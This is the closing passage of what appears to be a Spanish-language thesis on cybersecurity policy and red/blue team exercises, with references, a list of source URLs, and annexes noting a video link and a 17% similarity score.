Learning for Red Team Operators. Carleton University Institutional Repository.
https://repository.library.carleton.ca/concern/etds/5712m7423

Cristian Chindrus. (2023, 26 de octubre). Securing the Network: A Red and Blue
Cybersecurity Competition Case Study. MDPI. https://www.mdpi.com/2078-
2489/14/11/587

70


https://repository.unad.edu.co/bitstream/handle/10596/50306/secortesc.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/50306/secortesc.pdf?sequence=1&amp%3BisAllowed=y
https://softwareactivofijo.com/politica-de-gestion-de-activos
http://adecuarse.com/adecuaciones/politicas-seguridad/politica-de-dispositivos-moviles/
http://adecuarse.com/adecuaciones/politicas-seguridad/politica-de-dispositivos-moviles/
https://netebu.com/announcements/132/Actualizaciones-de-software.-Politicas-de-seguridad-para-la-pyme.html
https://netebu.com/announcements/132/Actualizaciones-de-software.-Politicas-de-seguridad-para-la-pyme.html
https://www.ambit-bst.com/blog/para-qué-sirve-un-sgsi-controles-y-fases
https://www.ambit-bst.com/blog/para-qué-sirve-un-sgsi-controles-y-fases
https://dialnet.unirioja.es/servlet/tesis?codigo=250153
http://scielo.senescyt.gob.ec/scielo.php?pid=S1390-76972022000100097&amp%3Bscript=sci_abstract&amp%3Btlng=en
http://scielo.senescyt.gob.ec/scielo.php?pid=S1390-76972022000100097&amp%3Bscript=sci_abstract&amp%3Btlng=en
https://repository.library.carleton.ca/concern/etds/5712m7423
https://www.mdpi.com/2078-2489/14/11/587
https://www.mdpi.com/2078-2489/14/11/587

ANEXOS

Anexo A. Link de Video

https://youtu.be/etwSHRp1T4U

Anexo B.

El 17% de similitud hace referencia a los enunciados de las rubricas establecidas
en cada una de las etapas
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